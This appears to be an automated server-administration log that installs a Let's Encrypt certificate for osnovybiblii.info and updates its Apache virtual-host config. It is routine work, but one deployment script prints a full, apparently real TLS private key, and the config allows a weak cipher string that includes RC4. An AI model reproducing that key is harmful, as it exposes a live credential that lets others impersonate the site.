PUT: /tmp/pkp642964

#!/bin/bash
mkdir -p "/var/www/osnovybiblii_www/.well-known/acme-challenge/"
cd "/var/www/osnovybiblii_www/.well-known/acme-challenge/"
rm xlAD6Vh9aygmdP55jVc0FThbZGD8jEUTyKWUQUdD-EM
rm j7lRkJavp3mRdwuaPoWQPZeXfbLqg0Eyh9xrTljBYjM


2026-07-09 11:52:32: 

chmod 755 /tmp/pkp642964; /tmp/pkp642964; rm /tmp/pkp642964

2026-07-09 11:52:32: 




2026-07-09 11:52:32: Establishing a connection
2026-07-09 11:52:32: 

PUT: /tmp/pkp952734

#!/bin/bash
temp_file=$(mktemp)
TARGET=28fc54e1b5f7cd1c122e74906c55a106.crt

cat > $temp_file <<'endmsg'
bd:38:9c:67:89:f9:c4:33:4d:9f:35:f4:e4:4a:cd:87

-----BEGIN CERTIFICATE-----
MIIFEzCCA/ugAwIBAgISBTHHPd/MTxjphUZIMvEuyX9vMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzA5MTA1NDAwWhcNMjYxMDA3MTA1MzU5WjAcMRowGAYDVQQD
ExFvc25vdnliaWJsaWkuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAMWG8rL5WNAxYfmTvumzs4gQH7FMhf2/QxB6mjKIqtqx8d8qPR9nJQ8zqtNk
A13WgqzbzImTGS3AA2Dx0GDrF8F7sjqF73qKDj9OwOuQPdUeVzdN+mY3b2KiHHV+
loNRwVuvwdo+VzDNwjPI7CUsnwTC5rurt+4j69/PFVTQBLjF/em8LWunSUiD6Ntd
ioWAOJJrAr+Ve1S5YMpqEmM7wNuc/v0R5Q2J4acrLKdTpm5eSx8m8CiK4+N4c/w/
//jRa/GnzFGBNc/JnHPtIA1oTpn7o6Uofo5JlqdLD0CmslD+RFtLhpDAjZS/UMbn
NYVJkRmaRxtsOpnEsyO02EX7fdkCAwEAAaOCAjYwggIyMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQC
R3V/1PMxo2OB8Bo3/FHV/u8LQjAfBgNVHSMEGDAWgBQfLzW+RhSCzUCxrnksVXj6
99Ro+zAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjEuaS5s
ZW5jci5vcmcvMDMGA1UdEQQsMCqCEW9zbm92eWJpYmxpaS5pbmZvghV3d3cub3Nu
b3Z5YmlibGlpLmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAk
oCKgIIYeaHR0cDovL3lyMS5jLmxlbmNyLm9yZy8xMTIuY3JsMIIBCwYKKwYBBAHW
eQIEAgSB/ASB+QD3AHUA2AlVO5RPev/IFhlvlE+Fq7D4/F6HVSYPFdEucrtFSxQA
AAGfRrjlkQAABAMARjBEAiBybFucbw1Jvr/XzpVAWz3RiRZRgqNo7wHRg3gWChCt
PgIgCqR6LwGJAZIw4okjqBTTQXKG8ckLDIwlkVD264nrCpwAfgAm42RuWGkhI7w0
P0ckNZs3ks0kWojYFdOTM/2ZGKtHIwAAAZ9GuOK2AAgAAAUAJzszWwQDAEcwRQIh
AJWBcjJkc+/XAZJBE5JmCYs/N20IZG9f0yh5Gpxbio2KAiBBHtUz2bdUgNCbGcdg
CtgGbCGQKL0qeLDKKw0h8KZqRTANBgkqhkiG9w0BAQsFAAOCAQEAlbN8giP6FjJN
AyfY39CL4eW8lN59CyWo0hu1GYR4iF+H2FrrJcpqrdcaxyONFKsKfH1DT4BT7QbI
H6uJzTqzhVQvXGzvzB3EbsIUrEN29ylnaZUeHsdu5cjKbjUqtHxXXxhX8qkjZYLR
BJUB6CLiy4iwIfaYp7t57fBSIJ2B2Mqo1LZ+1GxHEzzIJZSuzdcE3U09kAhNTWzB
PLKsoen1joLQt9xN3GMCjCvNg3OL2sfh0mWjqEVvicYyDQ4UjjSGNfcpzYPKW/8a
kIM8tFgHwxGJQvOO/WYkKaYc985s48QuZpZkJQZcH9k6IwoZEq9qZNK8bPATmTlq
ZvhcVlnefg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDFhvKy+VjQMWH5
k77ps7OIEB+xTIX9v0MQepoyiKrasfHfKj0fZyUPM6rTZANd1oKs28yJkxktwANg
8dBg6xfBe7I6he96ig4/TsDrkD3VHlc3TfpmN29iohx1fpaDUcFbr8HaPlcwzcIz
yOwlLJ8Ewua7q7fuI+vfzxVU0AS4xf3pvC1rp0lIg+jbXYqFgDiSawK/lXtUuWDK
ahJjO8DbnP79EeUNieGnKyynU6ZuXksfJvAoiuPjeHP8P//40Wvxp8xRgTXPyZxz
7SANaE6Z+6OlKH6OSZanSw9AprJQ/kRbS4aQwI2Uv1DG5zWFSZEZmkcbbDqZxLMj
tNhF+33ZAgMBAAECggEAQ40BfgR5A4YH4A7PaOPsP1loRT2Kyzr4B/AtwJ9tcqoN
MgkjaxRen6LHRlC7OAGuocfvXJMiNrumTCaWYTa04pXXX11Dh1AkTDE2F7k19CbS
o9a2jfNiU8Rl4Cag+ZrheeYS8PyF2+paAlSxsYrffQTcXIz+s2G0fk83F9Cl9Lwj
RB5TpthywQ5pMQqnLA/HXV/k19Gzs/Qlhui8nk0+7MLN526HPYgHTe0BQVAKmOj0
VvivjA0aUt6YG/Eraa80M337aRcCq6YRGNLAvVWDh0nbngUXnnqVKK7cGo53hA+G
o6/NgCEKnTwkdkHAk2xQA7rgW65KCQ9Rb2atEJpBywKBgQDq7DhE2wRLHGeDYSKV
woG2+b4rHsLShqemLMvx2vKZ4wCXwdI3rffTubA3XaH8NeFMpANwC5vEw5vP5lMt
SUaHLVDEpp6zbjX5TnaAyojhWgpRfhg04oGEM1HTRG75WPDzmZmhryjoxIevNNhk
RHwNa0jmmdp88dPEw3OrRpaanwKBgQDXP9B5XLo1FCmTJNnkvs2C9aeUc6uhJnqR
XSFyoQQwKQP+tzQE2AUuPGGdroOsqmJU8TK+P0AW2XHphVEfepOU3c8ywzzibEJs
M3xfWmByoE02rBQUD2Rn9816cs7NmN1Z8vWhmvISEEI2KEe5hYIydoEqnB5XBJOr
QbRkUV+MhwKBgGIWp5f4at6ByabNlAc747VmqcSPX4FPwAheg/lEFi+y3LiAsSmW
dfftfGphqhUI2j2J7fWGo0+Q7SntXaV3Bv/CKAs0FueMiPTDki9MYcLWOaC1KZ5L
RRDR7MRtunhabqEH7WHZJRerl4vMYN3cyn8/4HyImPW6c1Wg1lcZbiC5AoGAFRUg
AzMM3fQKmmnqmZgCowgSkNy/e7o8GQ7JHuQcd+cciA9DnhHWeA/b88jLBtdtaCpz
sOSbD2He4WN4bZ/g4pzTFYK/7OFzpAtq7B/7AF8pEOjL0qcrS2+fBZZHISYO0CeW
3WxCt3g2M/3AALDN7slin1zJL/a3y/dUhtrdg/MCgYBVuUOJNu9xyYh19je0AgjH
N94WodZY64nD15la8PNAGN5g5wpt2pis5OQ9Rm3HOg75Or3vMhOdrX4k2IiYiNuR
RqT4OR89IRp5NlEboWjCElIQ3XBPSSfI+rbGLRDczzBbgRG3FPO4GiC/YUrKI4h7
sPiLXFB/JyRzqP40K+FMkA==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-09 11:52:32: 

chmod 755 /tmp/pkp952734; /tmp/pkp952734; rm /tmp/pkp952734

2026-07-09 11:52:33: 


dir=/etc/ssl/certs


2026-07-09 11:52:33: 

PUT: /tmp/pkp307808

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/osnovybiblii_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-09 11:52:33: 

chmod 755 /tmp/pkp307808; /tmp/pkp307808; rm /tmp/pkp307808

2026-07-09 11:52:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/osnovybiblii_www_info.conf 45

<VirtualHost *:80>
    ServerName	osnovybiblii.info
    ServerAlias	www.osnovybiblii.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/osnovybiblii_www
    <Directory /var/www/osnovybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnovybiblii/www_access.log combined
    ErrorLog	/var/log/apache2/osnovybiblii/www_error.log
    SetEnv pkp_uid	53
    SetEnv pkp_owner	osnovy
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	osnovybiblii.info
    ServerAlias	www.osnovybiblii.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/28fc54e1b5f7cd1c122e74906c55a106.crt
    DocumentRoot	/var/www/osnovybiblii_www
    <Directory /var/www/osnovybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnovybiblii/www_secure_access.log combined
    ErrorLog	/var/log/apache2/osnovybiblii/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-07-09 11:52:33: 

PUT: /tmp/pkp901435

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=osnovybiblii_www_info.conf
TARGET=/etc/apache2/sites-enabled/osnovybiblii_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	osnovybiblii.info
    ServerAlias	www.osnovybiblii.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/osnovybiblii_www
    <Directory /var/www/osnovybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnovybiblii/www_access.log combined
    ErrorLog	/var/log/apache2/osnovybiblii/www_error.log
    SetEnv pkp_uid	53
    SetEnv pkp_owner	osnovy
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	osnovybiblii.info
    ServerAlias	www.osnovybiblii.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/28fc54e1b5f7cd1c122e74906c55a106.crt
    DocumentRoot	/var/www/osnovybiblii_www
    <Directory /var/www/osnovybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnovybiblii/www_secure_access.log combined
    ErrorLog	/var/log/apache2/osnovybiblii/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/osnovybiblii_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/osnovybiblii_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/osnovybiblii_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/osnovybiblii_www_info.conf= 1'
fi


2026-07-09 11:52:33: 

chmod 755 /tmp/pkp901435; /tmp/pkp901435; rm /tmp/pkp901435

2026-07-09 11:52:33: 




2026-07-09 11:52:33: 

PUT: /tmp/pkp888524

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-09 11:52:33: 

chmod 755 /tmp/pkp888524; /tmp/pkp888524; rm /tmp/pkp888524

2026-07-09 11:52:33: 


.


2026-07-09 11:52:33: Establishing a connection
2026-07-09 11:52:33: 

PUT: /tmp/pkp536819

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-07-09 11:52:34: 

chmod 755 /tmp/pkp536819; /tmp/pkp536819; rm /tmp/pkp536819

2026-07-09 11:52:34: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-07-09 11:52:34: 

PUT: /tmp/pkp590858

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/osnovybiblii_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-09 11:52:34: 

chmod 755 /tmp/pkp590858; /tmp/pkp590858; rm /tmp/pkp590858

2026-07-09 11:52:34: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/osnovybiblii_www_info.conf	1414

<VirtualHost *:80>
    ServerName	osnovybiblii.info
    ServerAlias	www.osnovybiblii.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/osnovybiblii_www
    <Directory /var/www/osnovybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnovybiblii/www_access.log combined
    ErrorLog	/var/log/apache2/osnovybiblii/www_error.log
    SetEnv pkp_uid	53
    SetEnv pkp_owner	osnovy
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	osnovybiblii.info
    ServerAlias	www.osnovybiblii.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/28fc54e1b5f7cd1c122e74906c55a106.crt
    DocumentRoot	/var/www/osnovybiblii_www
    <Directory /var/www/osnovybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnovybiblii/www_secure_access.log combined
    ErrorLog	/var/log/apache2/osnovybiblii/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-07-09 11:52:34: 

PUT: /tmp/pkp196725

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/28fc54e1b5f7cd1c122e74906c55a106.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-09 11:52:34: 

chmod 755 /tmp/pkp196725; /tmp/pkp196725; rm /tmp/pkp196725

2026-07-09 11:52:34: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/28fc54e1b5f7cd1c122e74906c55a106.crt	7453
bd:38:9c:67:89:f9:c4:33:4d:9f:35:f4:e4:4a:cd:87

-----BEGIN CERTIFICATE-----
MIIFEzCCA/ugAwIBAgISBTHHPd/MTxjphUZIMvEuyX9vMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzA5MTA1NDAwWhcNMjYxMDA3MTA1MzU5WjAcMRowGAYDVQQD
ExFvc25vdnliaWJsaWkuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAMWG8rL5WNAxYfmTvumzs4gQH7FMhf2/QxB6mjKIqtqx8d8qPR9nJQ8zqtNk
A13WgqzbzImTGS3AA2Dx0GDrF8F7sjqF73qKDj9OwOuQPdUeVzdN+mY3b2KiHHV+
loNRwVuvwdo+VzDNwjPI7CUsnwTC5rurt+4j69/PFVTQBLjF/em8LWunSUiD6Ntd
ioWAOJJrAr+Ve1S5YMpqEmM7wNuc/v0R5Q2J4acrLKdTpm5eSx8m8CiK4+N4c/w/
//jRa/GnzFGBNc/JnHPtIA1oTpn7o6Uofo5JlqdLD0CmslD+RFtLhpDAjZS/UMbn
NYVJkRmaRxtsOpnEsyO02EX7fdkCAwEAAaOCAjYwggIyMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQC
R3V/1PMxo2OB8Bo3/FHV/u8LQjAfBgNVHSMEGDAWgBQfLzW+RhSCzUCxrnksVXj6
